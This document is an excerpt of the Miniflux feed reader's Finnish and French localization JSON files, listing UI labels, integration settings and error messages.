"error.entries_per_page_invalid": "Artikkelien määrä sivulla ei kelpaa.",
"error.feed_mandatory_fields": "URL-osoite ja kategoria ovat pakollisia.",
"error.feed_already_exists": "Tämä syöte on jo olemassa.",
"error.invalid_feed_url": "Virheellinen syötteen URL-osoite.",
"error.invalid_site_url": "Virheellinen sivuston URL-osoite.",
"error.feed_url_not_empty": "Syötteen URL-osoite ei voi olla tyhjä.",
"error.site_url_not_empty": "Sivuston URL-osoite ei voi olla tyhjä.",
"error.feed_title_not_empty": "Syötteen otsikko ei voi olla tyhjä.",
"error.feed_category_not_found": "Tätä kategoriaa ei ole olemassa tai se ei kuulu tälle käyttäjälle.",
"error.feed_invalid_blocklist_rule": "The block list rule is invalid.",
"error.feed_invalid_keeplist_rule": "The keep list rule is invalid.",
"form.feed.label.urlrewrite_rules": "URL-osoitteen uudelleenkirjoitussäännöt",
"form.feed.label.apprise_service_urls": "Comma separated list of Apprise service URLs",
"error.user_mandatory_fields": "Käyttäjätunnus on pakollinen.",
"error.api_key_already_exists": "API-avain on jo olemassa.",
"error.unable_to_create_api_key": "API-avainta ei voi luoda.",
"form.feed.label.title": "Otsikko",
"form.feed.label.site_url": "Sivuston URL-osoite",
"form.feed.label.feed_url": "Syötteen URL-osoite",
"form.feed.label.description": "Kuvaus",
"form.feed.label.category": "Kategoria",
"form.feed.label.crawler": "Nouda alkuperäinen sisältö",
"form.feed.label.feed_username": "Syötteen käyttäjätunnus",
"form.feed.label.feed_password": "Syötteen salasana",
"form.feed.label.user_agent": "Ohita oletuskäyttäjäagentti",
"form.feed.label.cookie": "Aseta evästeet",
"form.feed.label.scraper_rules": "Scraper-säännöt",
"form.feed.label.rewrite_rules": "Rewrite-säännöt",
"form.feed.label.blocklist_rules": "Block-säännöt",
"form.feed.label.keeplist_rules": "Keep-säännöt",
"form.feed.label.ignore_http_cache": "Ohita HTTP-välimuisti",
"form.feed.label.allow_self_signed_certificates": "Salli itseallekirjoitetut tai virheelliset varmenteet",
"form.feed.label.disable_http2": "Disable HTTP/2 to avoid fingerprinting",
"form.feed.label.fetch_via_proxy": "Nouda välityspalvelimen kautta",
"form.feed.label.disabled": "Älä päivitä tätä syötettä",
"form.feed.label.no_media_player": "No media player (audio/video)",
"form.feed.label.hide_globally": "Piilota artikkelit lukemattomien listassa",
"form.feed.label.ntfy_activate": "Push entries to ntfy",
"form.feed.label.ntfy_priority": "Ntfy priority",
"form.feed.label.ntfy_max_priority": "Ntfy max priority",
"form.feed.label.ntfy_high_priority": "Ntfy high priority",
"form.feed.label.ntfy_default_priority": "Ntfy default priority",
"form.feed.label.ntfy_low_priority": "Ntfy low priority",
"form.feed.label.ntfy_min_priority": "Ntfy min priority",
"form.integration.cubox_activate": "Save entries to Cubox",
"form.integration.cubox_api_link": "Cubox API link",
"form.feed.fieldset.general": "General",
"form.feed.fieldset.rules": "Rules",
"form.feed.fieldset.network_settings": "Network Settings",
"form.feed.fieldset.integration": "Third-Party Services",
"form.category.label.title": "Otsikko",
"form.category.hide_globally": "Piilota artikkelit lukemattomien listassa",
"form.user.label.username": "Käyttäjätunnus",
"form.user.label.password": "Salasana",
"form.user.label.confirmation": "Salasanan vahvistus",
"form.user.label.admin": "Ylläpitäjä",
"form.prefs.label.language": "Kieli",
"form.prefs.label.timezone": "Aikavyöhyke",
"form.prefs.label.theme": "Teema",
"form.prefs.label.entry_sorting": "Lajittelu",
"form.prefs.label.entries_per_page": "Artikkelia sivulla",
"form.prefs.label.default_reading_speed": "Muiden kielten lukunopeus (sanaa minuutissa)",
"form.prefs.label.cjk_reading_speed": "Kiinan, Korean ja Japanin lukunopeus (merkkejä minuutissa)",
"form.prefs.label.display_mode": "Progressive Web App (PWA) -näyttötila",
"form.prefs.select.older_first": "Vanhin ensin",
"form.prefs.select.recent_first": "Uusin ensin",
"form.prefs.select.fullscreen": "Kokoruututila",
"form.prefs.select.standalone": "Itsenäinen tila",
"form.prefs.select.minimal_ui": "Minimaalinen",
"form.prefs.select.browser": "Selain",
"form.prefs.select.publish_time": "Julkaisuaika",
"form.prefs.select.created_time": "Luomisaika",
"form.prefs.select.alphabetical": "Aakkosjärjestys",
"form.prefs.select.unread_count": "Lukemattomien määrä",
"form.prefs.select.none": "Ei mitään",
"form.prefs.select.tap": "Kaksoisnapauta",
"form.prefs.select.swipe": "Pyyhkäise",
"form.prefs.label.keyboard_shortcuts": "Ota pikanäppäimet käyttöön",
"form.prefs.label.entry_swipe": "Ota syöttöpyyhkäisy käyttöön kosketusnäytöissä",
"form.prefs.label.gesture_nav": "Ele siirtyäksesi merkintöjen välillä",
"form.prefs.label.show_reading_time": "Näytä artikkeleiden arvioitu lukuaika",
"form.prefs.label.custom_css": "Mukautettu CSS",
"form.prefs.label.custom_js": "Mukautettu JavaScript",
"form.prefs.label.entry_order": "Lajittele sarakkeen mukaan",
"form.prefs.label.default_home_page": "Oletusarvoinen etusivu",
"form.prefs.label.categories_sorting_order": "Kategorioiden lajittelu",
"form.prefs.label.mark_read_on_view": "Merkitse kohdat automaattisesti luetuiksi, kun niitä tarkastellaan",
"form.prefs.label.mark_read_on_view_or_media_completion": "Mark entries as read when viewed. For audio/video, mark as read at 90%% completion",
"form.prefs.label.mark_read_on_media_completion": "Only mark as read when audio/video playback reaches 90%% completion",
"form.prefs.label.mark_read_manually": "Mark entries as read manually",
"form.prefs.fieldset.application_settings": "Application Settings",
"form.prefs.fieldset.authentication_settings": "Authentication Settings",
"form.prefs.fieldset.reader_settings": "Reader Settings",
"form.prefs.fieldset.global_feed_settings": "Global Feed Settings",
"form.prefs.label.external_font_hosts": "External font hosts",
"form.prefs.help.external_font_hosts": "Space separated list of external font hosts to allow. For example: \"fonts.gstatic.com fonts.googleapis.com\".",
"error.settings_invalid_domain_list": "Invalid domain list. Please provide a space separated list of domains.",
"form.import.label.file": "OPML-tiedosto",
"form.import.label.url": "URL",
"form.integration.betula_activate": "Save entries to Betula",
"form.integration.betula_url": "Betula server URL",
"form.integration.betula_token": "Betula Token",
"form.integration.fever_activate": "Ota Fever API käyttöön",
"form.integration.fever_username": "Fever-käyttäjätunnus",
"form.integration.fever_password": "Fever-salasana",
"form.integration.fever_endpoint": "Fever API -päätepiste:",
"form.integration.googlereader_activate": "Aktivoi Google Reader API",
"form.integration.googlereader_username": "Google-lukijan käyttäjätunnus",
"form.integration.googlereader_password": "Google-lukijan salasana",
"form.integration.googlereader_endpoint": "Google Reader API -päätepiste:",
"form.integration.pinboard_activate": "Tallenna artikkelit Pinboardiin",
"form.integration.pinboard_token": "Pinboard API-tunnus",
"form.integration.pinboard_tags": "Pinboard-tagit",
"form.integration.pinboard_bookmark": "Merkitse kirjanmerkki lukemattomaksi",
"form.integration.instapaper_activate": "Tallenna artikkelit Instapaperiin",
"form.integration.instapaper_username": "Instapaper-käyttäjätunnus",
"form.integration.instapaper_password": "Instapaper-salasana",
"form.integration.pocket_activate": "Tallenna artikkelit Pocketiin",
"form.integration.pocket_consumer_key": "Pocket Consumer Key",
"form.integration.pocket_access_token": "Pocket-käyttöoikeustunnus",
"form.integration.pocket_connect_link": "Yhdistä Pocket-tilisi",
"form.integration.wallabag_activate": "Tallenna artikkelit Wallabagiin",
"form.integration.wallabag_only_url": "Lähetä vain URL-osoite (koko sisällön sijaan)",
"form.integration.wallabag_endpoint": "Wallabagin perus-URL-osoite",
"form.integration.wallabag_client_id": "Wallabag Client ID",
"form.integration.wallabag_client_secret": "Wallabag Client Secret",
"form.integration.wallabag_username": "Wallabag-käyttäjätunnus",
"form.integration.wallabag_password": "Wallabag-salasana",
"form.integration.notion_activate": "Save entries to Notion",
"form.integration.notion_page_id": "Notion Page ID",
"form.integration.notion_token": "Notion Secret Token",
"form.integration.apprise_activate": "Push entries to Apprise",
"form.integration.apprise_url": "Apprise API URL",
"form.integration.apprise_services_url": "Comma separated list of Apprise service URLs",
"form.integration.nunux_keeper_activate": "Tallenna artikkelit Nunux Keeperiin",
"form.integration.nunux_keeper_endpoint": "Nunux Keeper API-päätepiste",
"form.integration.nunux_keeper_api_key": "Nunux Keeper API-avain",
"form.integration.omnivore_activate": "Tallenna artikkelit Omnivoreiin",
"form.integration.omnivore_url": "Omnivore API-päätepiste",
"form.integration.omnivore_api_key": "Omnivore API-avain",
"form.integration.espial_activate": "Tallenna artikkelit Espialiin",
"form.integration.espial_endpoint": "Espial API-päätepiste",
"form.integration.espial_api_key": "Espial API-avain",
"form.integration.espial_tags": "Espial-tagit",
"form.integration.readwise_activate": "Save entries to Readwise Reader",
"form.integration.readwise_api_key": "Readwise Reader Access Token",
"form.integration.readwise_api_key_link": "Get your Readwise Access Token",
"form.integration.telegram_bot_activate": "Lähetä uusia artikkeleita Telegram-chatiin",
"form.integration.telegram_bot_token": "Bot-tunnus",
"form.integration.telegram_chat_id": "Chat ID",
"form.integration.telegram_topic_id": "Topic ID",
"form.integration.telegram_bot_disable_web_page_preview": "Disable web page preview",
"form.integration.telegram_bot_disable_notification": "Disable notification",
"form.integration.telegram_bot_disable_buttons": "Disable buttons",
"form.integration.linkace_activate": "Save entries to LinkAce",
"form.integration.linkace_endpoint": "LinkAce API Endpoint",
"form.integration.linkace_api_key": "LinkAce API key",
"form.integration.linkace_tags": "LinkAce Tags",
"form.integration.linkace_is_private": "Mark link as private",
"form.integration.linkace_check_disabled": "Disable link check",
"form.integration.linkding_activate": "Tallenna artikkelit Linkkiin",
"form.integration.linkding_endpoint": "Linkding API-päätepiste",
"form.integration.linkding_api_key": "Linkding API-avain",
"form.integration.linkding_tags": "Linkding Tags",
"form.integration.linkding_bookmark": "Merkitse kirjanmerkki lukemattomaksi",
"form.integration.linkwarden_activate": "Tallenna artikkelit Linkkiin",
"form.integration.linkwarden_endpoint": "Linkwarden API-päätepiste",
"form.integration.linkwarden_api_key": "Linkwarden API-avain",
"form.integration.matrix_bot_activate": "Siirrä uudet artikkelit Matrixiin",
"form.integration.matrix_bot_user": "Matrixin käyttäjätunnus",
"form.integration.matrix_bot_password": "Matrix-käyttäjän salasana",
"form.integration.matrix_bot_url": "Matrix-palvelimen URL-osoite",
"form.integration.matrix_bot_chat_id": "Matrix-huoneen tunnus",
"form.integration.raindrop_activate": "Save entries to Raindrop",
"form.integration.raindrop_token": "(Test) Token",
"form.integration.raindrop_collection_id": "Collection ID",
"form.integration.raindrop_tags": "Tags (comma-separated)",
"form.integration.readeck_activate": "Tallenna artikkelit Readeckiin",
"form.integration.readeck_endpoint": "Readeck API-päätepiste",
"form.integration.readeck_api_key": "Readeck API-avain",
"form.integration.readeck_labels": "Readeck Labels",
"form.integration.readeck_only_url": "Lähetä vain URL-osoite (koko sisällön sijaan)",
"form.integration.shiori_activate": "Save articles to Shiori",
"form.integration.shiori_endpoint": "Shiori API Endpoint",
"form.integration.shiori_username": "Shiori Username",
"form.integration.shiori_password": "Shiori Password",
"form.integration.shaarli_activate": "Save articles to Shaarli",
"form.integration.shaarli_endpoint": "Shaarli URL",
"form.integration.shaarli_api_secret": "Shaarli API Secret",
"form.integration.webhook_activate": "Enable Webhook",
"form.integration.webhook_url": "Webhook URL",
"form.integration.webhook_secret": "Webhook Secret",
"form.integration.rssbridge_activate": "Check RSS-Bridge when adding subscriptions",
"form.integration.rssbridge_url": "RSS-Bridge server URL",
"form.integration.ntfy_activate": "Push entries to ntfy",
"form.integration.ntfy_topic": "Ntfy topic",
"form.integration.ntfy_url": "Ntfy URL (optional, default is ntfy.sh)",
"form.integration.ntfy_api_token": "Ntfy API Token (optional)",
"form.integration.ntfy_username": "Ntfy Username (optional)",
"form.integration.ntfy_password": "Ntfy Password (optional)",
"form.integration.ntfy_icon_url": "Ntfy Icon URL (optional)",
"form.integration.ntfy_internal_links": "Use internal links on click (optional)",
"form.integration.discord_activate": "Push entries to Discord",
"form.integration.discord_webhook_link": "Discord Webhook link",
"form.api_key.label.description": "API Key Label",
"form.submit.loading": "Ladataan...",
"form.submit.saving": "Tallennetaan...",
"time_elapsed.not_yet": "ei vielä",
"time_elapsed.yesterday": "eilen",
"time_elapsed.now": "juuri nyt",
"time_elapsed.minutes": [
"%d minuutti sitten",
"%d minuuttia sitten"
],
"time_elapsed.hours": [
"%d tunti sitten",
"%d tuntia sitten"
],
"time_elapsed.days": [
"%d päivä sitten",
"%d päivää sitten"
],
"time_elapsed.weeks": [
"%d viikko sitten",
"%d viikkoa sitten"
],
"time_elapsed.months": [
"%d kuukausi sitten",
"%d kuukautta sitten"
],
"time_elapsed.years": [
"%d vuosi sitten",
"%d vuotta sitten"
],
"alert.too_many_feeds_refresh": [
"You have triggered too many feed refreshes. Please wait %d minute before trying again.",
"You have triggered too many feed refreshes. Please wait %d minutes before trying again."
],
"alert.background_feed_refresh": "All feeds are being refreshed in the background. You can continue to use Miniflux while this process is running.",
"error.http_response_too_large": "The HTTP response is too large. You could increase the HTTP response size limit in the global settings (requires a server restart).",
"error.http_body_read": "Unable to read the HTTP body: %v.",
"error.http_empty_response_body": "The HTTP response body is empty.",
"error.http_empty_response": "The HTTP response is empty. Perhaps, this website is using a bot protection mechanism?",
"error.tls_error": "TLS error: %q. You could disable TLS verification in the feed settings if you would like.",
"error.network_operation": "Miniflux is not able to reach this website due to a network error: %v.",
"error.network_timeout": "This website is too slow and the request timed out: %v",
"error.http_client_error": "HTTP client error: %v.",
"error.http_not_authorized": "Access to this website is not authorized. It could be a bad username or password.",
"error.http_too_many_requests": "Miniflux generated too many requests to this website. Please, try again later or change the application configuration.",
"error.http_forbidden": "Access to this website is forbidden. Perhaps, this website has a bot protection mechanism?",
"error.http_resource_not_found": "The requested resource is not found. Please, verify the URL.",
"error.http_internal_server_error": "The website is not available at the moment due to a server error. The problem is not on Miniflux side. Please, try again later.",
"error.http_bad_gateway": "The website is not available at the moment due to a bad gateway error. The problem is not on Miniflux side. Please, try again later.",
"error.http_service_unavailable": "The website is not available at the moment due to an internal server error. The problem is not on Miniflux side. Please, try again later.",
"error.http_gateway_timeout": "The website is not available at the moment due to a gateway timeout error. The problem is not on Miniflux side. Please, try again later.",
"error.http_unexpected_status_code": "The website is not available at the moment due to an unexpected HTTP status code: %d. The problem is not on Miniflux side. Please, try again later.",
"error.database_error": "Database error: %v.",
"error.category_not_found": "This category does not exist or does not belong to this user.",
"error.duplicated_feed": "This feed already exists.",
"error.unable_to_parse_feed": "Unable to parse this feed: %v.",
"error.feed_not_found": "This feed does not exist or does not belong to this user.",
"error.unable_to_detect_rssbridge": "Unable to detect feed using RSS-Bridge: %v.",
"error.feed_format_not_detected": "Unable to detect feed format: %v.",
"form.prefs.label.media_playback_rate": "Äänen/videon toistonopeus",
"error.settings_media_playback_rate_range": "Toistonopeus on alueen ulkopuolella",
"enclosure_media_controls.seek" : "Seek:",
"enclosure_media_controls.seek.title" : "Seek %s seconds",
"enclosure_media_controls.speed" : "Speed:",
"enclosure_media_controls.speed.faster" : "Faster",
"enclosure_media_controls.speed.faster.title" : "Faster by %sx",
"enclosure_media_controls.speed.slower" : "Slower",
"enclosure_media_controls.speed.slower.title" : "Slower by %sx",
"enclosure_media_controls.speed.reset" : "Reset",
"enclosure_media_controls.speed.reset.title" : "Reset speed to 1x"
}
v2-2.2.5/internal/locale/translations/fr_FR.json 0000664 0000000 0000000 00000112555 14743520056 0021553 0 ustar 00root root 0000000 0000000 {
"skip_to_content": "Aller au contenu",
"confirm.question": "Êtes-vous sûr ?",
"confirm.question.refresh": "Voulez-vous forcer le rafraîchissement ?",
"confirm.yes": "oui",
"confirm.no": "non",
"confirm.loading": "En cours...",
"action.subscribe": "S'abonner",
"action.save": "Sauvegarder",
"action.or": "ou",
"action.cancel": "annuler",
"action.remove": "Supprimer",
"action.remove_feed": "Supprimer ce flux",
"action.update": "Mettre à jour",
"action.edit": "Modifier",
"action.download": "Télécharger",
"action.import": "Importer",
"action.login": "Se connecter",
"action.home_screen": "Ajouter à l'écran d'accueil",
"tooltip.keyboard_shortcuts": "Raccourci clavier : %s",
"tooltip.logged_user": "Connecté en tant que %s",
"menu.title": "Menu",
"menu.home_page": "Page d'accueil",
"menu.unread": "Non lus",
"menu.starred": "Favoris",
"menu.history": "Historique",
"menu.feeds": "Abonnements",
"menu.categories": "Catégories",
"menu.settings": "Réglages",
"menu.logout": "Se déconnecter",
"menu.preferences": "Préférences",
"menu.integrations": "Intégrations",
"menu.sessions": "Sessions",
"menu.users": "Utilisateurs",
"menu.about": "À propos",
"menu.export": "Export",
"menu.import": "Import",
"menu.search": "Recherche",
"menu.create_category": "Créer une catégorie",
"menu.mark_page_as_read": "Marquer cette page comme lu",
"menu.mark_all_as_read": "Tout marquer comme lu",
"menu.show_all_entries": "Afficher tous les articles",
"menu.show_only_unread_entries": "Afficher uniquement les articles non lus",
"menu.show_only_starred_entries": "Afficher uniquement les favoris",
"menu.refresh_feed": "Actualiser",
"menu.refresh_all_feeds": "Actualiser les abonnements en arrière-plan",
"menu.edit_feed": "Modifier",
"menu.edit_category": "Modifier",
"menu.add_feed": "Ajouter un abonnement",
"menu.add_user": "Ajouter un utilisateur",
"menu.flush_history": "Supprimer l'historique",
"menu.feed_entries": "Articles",
"menu.api_keys": "Clés d'API",
"menu.create_api_key": "Créer une nouvelle clé d'API",
"menu.shared_entries": "Articles partagés",
"search.label": "Recherche",
"search.placeholder": "Recherche...",
"search.submit": "Rechercher",
"pagination.last": "Dernière page",
"pagination.next": "Suivant",
"pagination.first": "Première page",
"pagination.previous": "Précédent",
"entry.status.unread": "Non lu",
"entry.status.read": "Lu",
"entry.status.title": "Changer le statut de l'entrée",
"entry.status.toast.unread": "Marqué comme non lu",
"entry.status.toast.read": "Marqué comme lu",
"entry.bookmark.toggle.on": "Favoris",
"entry.bookmark.toggle.off": "Enlever favoris",
"entry.bookmark.toast.on": "Ajouté aux favoris",
"entry.bookmark.toast.off": "Enlevé des favoris",
"entry.state.saving": "Sauvegarde en cours...",
"entry.state.loading": "Chargement...",
"entry.save.label": "Sauvegarder",
"entry.save.title": "Sauvegarder cet article",
"entry.save.completed": "Terminé !",
"entry.save.toast.completed": "Article sauvegardé",
"entry.scraper.label": "Télécharger",
"entry.scraper.title": "Récupérer le contenu original",
"entry.scraper.completed": "Terminé !",
"entry.external_link.label": "Lien externe",
"entry.comments.label": "Commentaires",
"entry.comments.title": "Voir les commentaires",
"entry.share.label": "Partager",
"entry.share.title": "Partager cet article",
"entry.unshare.label": "Enlever le partage",
"entry.shared_entry.title": "Ouvrir le lien public",
"entry.shared_entry.label": "Partage",
"entry.estimated_reading_time": [
"%d minute de lecture",
"%d minutes de lecture"
],
"entry.tags.label": "Libellés :",
"page.shared_entries.title": "Articles partagés",
"page.shared_entries_count": [
"%d article partagé",
"%d articles partagés"
],
"page.unread.title": "Non lus",
"page.unread_entry_count": [
"%d article non lu",
"%d articles non lus"
],
"page.total_entry_count": [
"%d article au total",
"%d articles au total"
],
"page.starred.title": "Favoris",
"page.starred_entry_count": [
"%d favori",
"%d favoris"
],
"page.categories.title": "Catégories",
"page.categories.no_feed": "Aucun abonnement.",
"page.categories.entries": "Articles",
"page.categories.feeds": "Abonnements",
"page.categories.feed_count": [
"Il y a %d abonnement.",
"Il y a %d abonnements."
],
"page.categories_count": [
"%d catégorie",
"%d catégories"
],
"page.new_category.title": "Nouvelle catégorie",
"page.new_user.title": "Nouvel Utilisateur",
"page.edit_category.title": "Modification de la catégorie : %s",
"page.edit_user.title": "Modification de l'utilisateur : %s",
"page.feeds.title": "Abonnements",
"page.category_label": "Catégorie : %s",
"page.feeds.last_check": "Dernière vérification :",
"page.feeds.next_check": "Prochaine vérification :",
"page.feeds.read_counter": "Nombre d'entrées lues",
"page.feeds.error_count": [
"%d erreur",
"%d erreurs"
],
"page.history.title": "Historique",
"page.read_entry_count": [
"%d read entry",
"%d read entries"
],
"page.import.title": "Importation",
"page.search.title": "Résultats de la recherche",
"page.about.title": "À propos",
"page.about.credits": "Crédits",
"page.about.version": "Version :",
"page.about.build_date": "Date de la compilation :",
"page.about.author": "Auteur :",
"page.about.license": "Licence :",
"page.about.global_config_options": "Options de configuration globales",
"page.about.postgres_version": "Version de Postgresql :",
"page.about.go_version": "Version de Go :",
"page.add_feed.title": "Nouvel Abonnement",
"page.add_feed.no_category": "Il n'y a aucune catégorie. Vous devez avoir au moins une catégorie.",
"page.add_feed.label.url": "Lien",
"page.add_feed.submit": "Trouver un abonnement",
"page.add_feed.legend.advanced_options": "Options avancées",
"page.add_feed.choose_feed": "Choisissez un abonnement",
"page.edit_feed.title": "Modification de l'abonnement : %s",
"page.edit_feed.last_check": "Dernière vérification :",
"page.edit_feed.last_modified_header": "En-tête LastModified :",
"page.edit_feed.etag_header": "En-tête ETag :",
"page.edit_feed.no_header": "Aucune",
"page.edit_feed.last_parsing_error": "Dernière erreur d'analyse",
"page.entry.attachments": "Pièces Jointes",
"page.keyboard_shortcuts.title": "Raccourcis clavier",
"page.keyboard_shortcuts.subtitle.sections": "Naviguation entre les sections",
"page.keyboard_shortcuts.subtitle.items": "Naviguation entre les éléments",
"page.keyboard_shortcuts.subtitle.pages": "Naviguation entre les pages",
"page.keyboard_shortcuts.subtitle.actions": "Actions",
"page.keyboard_shortcuts.go_to_unread": "Aller aux éléments non lus",
"page.keyboard_shortcuts.go_to_starred": "Voir les favoris",
"page.keyboard_shortcuts.go_to_history": "Voir l'historique",
"page.keyboard_shortcuts.go_to_feeds": "Voir les abonnements",
"page.keyboard_shortcuts.go_to_categories": "Voir les catégories",
"page.keyboard_shortcuts.go_to_settings": "Voir les réglages",
"page.keyboard_shortcuts.show_keyboard_shortcuts": "Voir les raccourcis clavier",
"page.keyboard_shortcuts.go_to_previous_item": "Élément précédent",
"page.keyboard_shortcuts.go_to_next_item": "Élément suivant",
"page.keyboard_shortcuts.go_to_feed": "Voir abonnement",
"page.keyboard_shortcuts.go_to_previous_page": "Page précédente",
"page.keyboard_shortcuts.go_to_next_page": "Page suivante",
"page.keyboard_shortcuts.go_to_bottom_item": "Aller à l'élément du bas",
"page.keyboard_shortcuts.go_to_top_item": "Aller à l'élément supérieur",
"page.keyboard_shortcuts.open_item": "Ouvrir élément sélectionné",
"page.keyboard_shortcuts.open_original": "Ouvrir le lien original",
"page.keyboard_shortcuts.open_original_same_window": "Ouvrir le lien original dans l'onglet en cours",
"page.keyboard_shortcuts.open_comments": "Ouvrir le lien des commentaires",
"page.keyboard_shortcuts.open_comments_same_window": "Ouvrir le lien des commentaires dans l'onglet en cours",
"page.keyboard_shortcuts.toggle_read_status_next": "Basculer entre lu/non lu, et changer le focus sur l'élément suivant",
"page.keyboard_shortcuts.toggle_read_status_prev": "Basculer entre lu/non lu, et changer le focus sur l'élément précédent",
"page.keyboard_shortcuts.refresh_all_feeds": "Actualiser les abonnements en arrière-plan",
"page.keyboard_shortcuts.mark_page_as_read": "Marquer la page actuelle comme lu",
"page.keyboard_shortcuts.download_content": "Télécharger le contenu original",
"page.keyboard_shortcuts.toggle_bookmark_status": "Ajouter/Enlever favoris",
"page.keyboard_shortcuts.save_article": "Sauvegarder l'article",
"page.keyboard_shortcuts.scroll_item_to_top": "Faire défiler l'élément vers le haut",
"page.keyboard_shortcuts.remove_feed": "Supprimer ce flux",
"page.keyboard_shortcuts.go_to_search": "Mettre le focus sur le champ de recherche",
"page.keyboard_shortcuts.toggle_entry_attachments": "Toggle open/close entry attachments",
"page.keyboard_shortcuts.close_modal": "Fermer la boite de dialogue",
"page.users.title": "Utilisateurs",
"page.users.username": "Nom d'utilisateur",
"page.users.never_logged": "Jamais",
"page.users.admin.yes": "Oui",
"page.users.admin.no": "Non",
"page.users.actions": "Actions",
"page.users.last_login": "Dernière connexion",
"page.users.is_admin": "Administrateur",
"page.settings.title": "Réglages",
"page.settings.link_google_account": "Associer mon compte Google",
"page.settings.unlink_google_account": "Dissocier mon compte Google",
"page.settings.link_oidc_account": "Associer mon compte %s",
"page.settings.unlink_oidc_account": "Dissocier mon compte %s",
"page.settings.webauthn.passkeys": "Clés d’accès",
"page.settings.webauthn.actions": "Actions",
"page.settings.webauthn.passkey_name": "Nom de la clé d’accès",
"page.settings.webauthn.added_on": "Date de création",
"page.settings.webauthn.last_seen_on": "Dernière utilisation",
"page.settings.webauthn.register": "Enregister une nouvelle clé d’accès",
"page.settings.webauthn.register.error": "Impossible d'enregistrer la clé d’accès",
"page.login.webauthn_login.help": "Veuillez saisir votre nom d'utilisateur si vous utilisez une clé de sécurité. Cela n'est pas nécessaire si vous utilisez une clé d'accès (Passkey).",
"page.settings.webauthn.delete": [
"Supprimer %d clé d’accès",
"Supprimer %d clés d’accès"
],
"page.login.title": "Connexion",
"page.login.google_signin": "Se connecter avec Google",
"page.login.oidc_signin": "Se connecter avec %s",
"page.login.webauthn_login": "Se connecter avec une clé d’accès",
"page.login.webauthn_login.error": "Impossible de se connecter avec la clé d’accès",
"page.integrations.title": "Intégrations",
"page.integration.miniflux_api": "API de Miniflux",
"page.integration.miniflux_api_endpoint": "Point de terminaison de l'API",
"page.integration.miniflux_api_username": "Nom d'utilisateur",
"page.integration.miniflux_api_password": "Mot de passe",
"page.integration.miniflux_api_password_value": "Le mot de passe de votre compte",
"page.integration.bookmarklet": "Bookmarklet",
"page.integration.bookmarklet.name": "Ajouter à Miniflux",
"page.integration.bookmarklet.instructions": "Glisser-déposer ce lien dans vos favoris.",
"page.integration.bookmarklet.help": "Ce lien spécial vous permet de vous abonner à un site web directement en utilisant un marque page dans votre navigateur web.",
"page.sessions.title": "Sessions",
"page.sessions.table.date": "Date",
"page.sessions.table.ip": "Adresse IP",
"page.sessions.table.user_agent": "Navigateur Web",
"page.sessions.table.actions": "Actions",
"page.sessions.table.current_session": "Session actuelle",
"page.api_keys.title": "Clés d'API",
"page.api_keys.table.description": "Description",
"page.api_keys.table.token": "Jeton",
"page.api_keys.table.last_used_at": "Dernière utilisation",
"page.api_keys.table.created_at": "Date de création",
"page.api_keys.table.actions": "Actions",
"page.api_keys.never_used": "Jamais utilisé",
"page.new_api_key.title": "Nouvelle clé d'API",
"page.offline.title": "Mode Hors-Ligne",
"page.offline.message": "Vous n'êtes pas connecté",
"page.offline.refresh_page": "Essayez de rafraîchir la page",
"page.webauthn_rename.title": "Rename Passkey",
"alert.no_shared_entry": "Il n'y a pas d'article partagé.",
"alert.no_bookmark": "Il n'y a aucun favoris pour le moment.",
"alert.no_category": "Il n'y a aucune catégorie.",
"alert.no_category_entry": "Il n'y a aucun article dans cette catégorie.",
"alert.no_tag_entry": "Il n'y a aucun article correspondant à ce tag.",
"alert.no_feed_entry": "Il n'y a aucun article pour cet abonnement.",
"alert.no_feed": "Vous n'avez aucun abonnement.",
"alert.no_feed_in_category": "Il n'y a pas d'abonnement pour cette catégorie.",
"alert.no_history": "Il n'y a aucun historique pour le moment.",
"alert.feed_error": "Il y a un problème avec cet abonnement",
"alert.no_search_result": "Il n'y a aucun résultat pour cette recherche.",
"alert.no_unread_entry": "Il n'y a rien de nouveau à lire.",
"alert.no_user": "Vous êtes le seul utilisateur.",
"alert.account_unlinked": "Votre compte externe est maintenant dissocié !",
"alert.account_linked": "Votre compte externe est maintenant associé !",
"alert.pocket_linked": "Votre compte Pocket est maintenant connecté !",
"alert.prefs_saved": "Préférences sauvegardées !",
"error.unlink_account_without_password": "Vous devez définir un mot de passe sinon vous ne pourrez plus vous connecter par la suite.",
"error.duplicate_linked_account": "Il y a déjà quelqu'un d'associé avec ce provider !",
"error.duplicate_fever_username": "Il y a déjà quelqu'un d'autre avec le même nom d'utilisateur Fever !",
"error.duplicate_googlereader_username": "Il y a déjà quelqu'un d'autre avec le même nom d'utilisateur Google Reader !",
"error.pocket_request_token": "Impossible de récupérer le jeton d'accès depuis Pocket !",
"error.pocket_access_token": "Impossible de récupérer le jeton d'accès depuis Pocket !",
"error.category_already_exists": "Cette catégorie existe déjà.",
"error.unable_to_create_category": "Impossible de créer cette catégorie.",
"error.unable_to_update_category": "Impossible de mettre à jour cette catégorie.",
"error.user_already_exists": "Cet utilisateur existe déjà.",
"error.unable_to_create_user": "Impossible de créer cet utilisateur.",
"error.unable_to_update_user": "Impossible de mettre à jour cet utilisateur.",
"error.unable_to_update_feed": "Impossible de mettre à jour cet abonnement.",
"error.subscription_not_found": "Impossible de trouver un abonnement.",
"error.empty_file": "Ce fichier est vide.",
"error.bad_credentials": "Mauvais identifiant ou mot de passe.",
"error.fields_mandatory": "Tous les champs sont obligatoire.",
"error.title_required": "Le titre est obligatoire.",
"error.different_passwords": "Les mots de passe ne sont pas les mêmes.",
"error.password_min_length": "Vous devez utiliser au moins 6 caractères pour le mot de passe.",
"error.settings_mandatory_fields": "Le nom d'utilisateur, le thème, la langue et le fuseau horaire sont obligatoire.",
"error.settings_reading_speed_is_positive": "Les vitesses de lecture doivent être des entiers positifs.",
"error.settings_block_rule_fieldname_invalid": "Règle de blocage invalide : la règle n°%d ne contient pas un nom de champ valide (Options : %s)",
"error.settings_block_rule_separator_required": "Règle de blocage invalide : le motif de la règle n°%d doit être séparé par un '='",
"error.settings_block_rule_regex_required": "Règle de blocage invalide : le motif de la règle n°%d n'est pas fourni",
"error.settings_block_rule_invalid_regex": "Règle de blocage invalide : le motif de la règle n°%d n'est pas une expression régulière valide",
"error.settings_keep_rule_fieldname_invalid": "Règle de conservation invalide : la règle n°%d ne contient pas un nom de champ valide (Options : %s)",
"error.settings_keep_rule_separator_required": "Règle de conservation invalide : le motif de la règle n°%d doit être séparé par un '='",
"error.settings_keep_rule_regex_required": "Règle de conservation invalide : le motif de la règle n°%d n'est pas fourni",
"error.settings_keep_rule_invalid_regex": "Règle de conservation invalide : le motif de la règle n°%d n'est pas une expression régulière valide",
"error.entries_per_page_invalid": "Le nombre d'entrées par page n'est pas valide.",
